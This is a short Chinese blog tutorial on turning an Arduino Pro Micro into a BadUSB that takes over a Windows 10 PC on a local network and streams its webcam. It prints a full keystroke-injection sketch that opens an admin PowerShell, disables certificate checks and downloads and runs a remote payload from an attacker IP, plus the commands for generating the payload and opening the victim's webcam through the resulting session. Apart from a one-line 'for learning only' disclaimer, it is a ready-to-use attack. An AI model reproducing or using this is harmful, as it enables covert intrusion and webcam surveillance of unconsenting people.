【网络安全】用badusb控制局域网PC的webcam
声明本文仅限学习交流使用,切勿做任何违法的行为材料准备badusb一枚,我用的是Arduino Pro Micro(Atmega32U4)改造而成kail linux系统PCwin10系统PCKail linux端下载Payload生成脚本git clone https://github.com/christofersimbar/Arduin...
·
声明
本文仅限学习交流使用,切勿做任何违法的行为
材料准备
- badusb一枚,我用的是Arduino Pro Micro(Atmega32U4)改造而成
- kail linux系统PC
- win10系统PC
Kail linux端
- 下载Payload生成脚本
git clone https://github.com/christofersimbar/Arduino-Reverse-Shell-Generator.git
cd Arduino-Reverse-Shell-Generator
sudo ruby reverse_powershell_arduino.rb
- 输入本机ip和自定义端口,一路回车,生成Arduino烧录用的脚本
- Arduino烧录用的脚本(自己修改url中的ip地址)
#include <Keyboard.h>
void typeKey(int key) {
Keyboard.press(key);
delay(500);
Keyboard.release(key);
}
void setup()
{
Keyboard.begin();
Keyboard.press(KEY_LEFT_GUI);
delay(1000);
Keyboard.press('x');
Keyboard.releaseAll();
delay(500);
typeKey('a');
delay(100);
Keyboard.press(KEY_LEFT_ALT);
delay(500);
Keyboard.press('y');
Keyboard.releaseAll();
delay(800);
Keyboard.print("[system.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true };IEX (New-Object Net.WebClient).DownloadString('http://192.168.88.102/shell.txt')");
typeKey(KEY_RETURN);
Keyboard.end();
}
void loop() {}
- 将脚本烧录进Arduino中,完成badusb制作
win10系统PC端
- 插入badusb,会自动执行脚本
控制win10系统PC的webcam
- 回到kail linux中,可以看到已经连接上win10系统PC
- 执行:
sessions -i 1
进入目标系统 - 执行:
webcam_list
扫描可用的webcam - 执行:
webcam_stream 1
打开目标的1号webcam - 在浏览器中可以观察到结果
更多推荐
已为社区贡献1条内容
所有评论(0)